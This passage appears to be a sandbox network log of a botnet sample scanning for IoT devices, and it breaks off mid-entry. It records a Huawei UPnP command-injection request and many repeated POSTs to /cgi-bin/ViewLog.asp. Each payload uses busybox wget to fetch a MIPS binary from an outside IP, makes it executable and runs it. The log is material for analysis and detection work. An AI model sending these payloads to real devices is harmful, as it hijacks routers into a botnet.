                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                286192.168.2.155122231.136.83.1358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.500699997 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:07.067192078 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.187139988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.459084988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.067059040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.026711941 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.738354921 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.601324081 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                287192.168.2.155467062.29.42.1248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.541121006 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                288192.168.2.154112894.121.115.728080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.544498920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                289192.168.2.154278431.136.119.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.683190107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:07.259216070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.379214048 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.715142965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.323087931 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.282737017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.738332033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.601358891 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                290192.168.2.153839831.136.53.678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.686305046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:07.259202957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.411225080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.715111971 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.323076963 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.538748980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.738291025 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
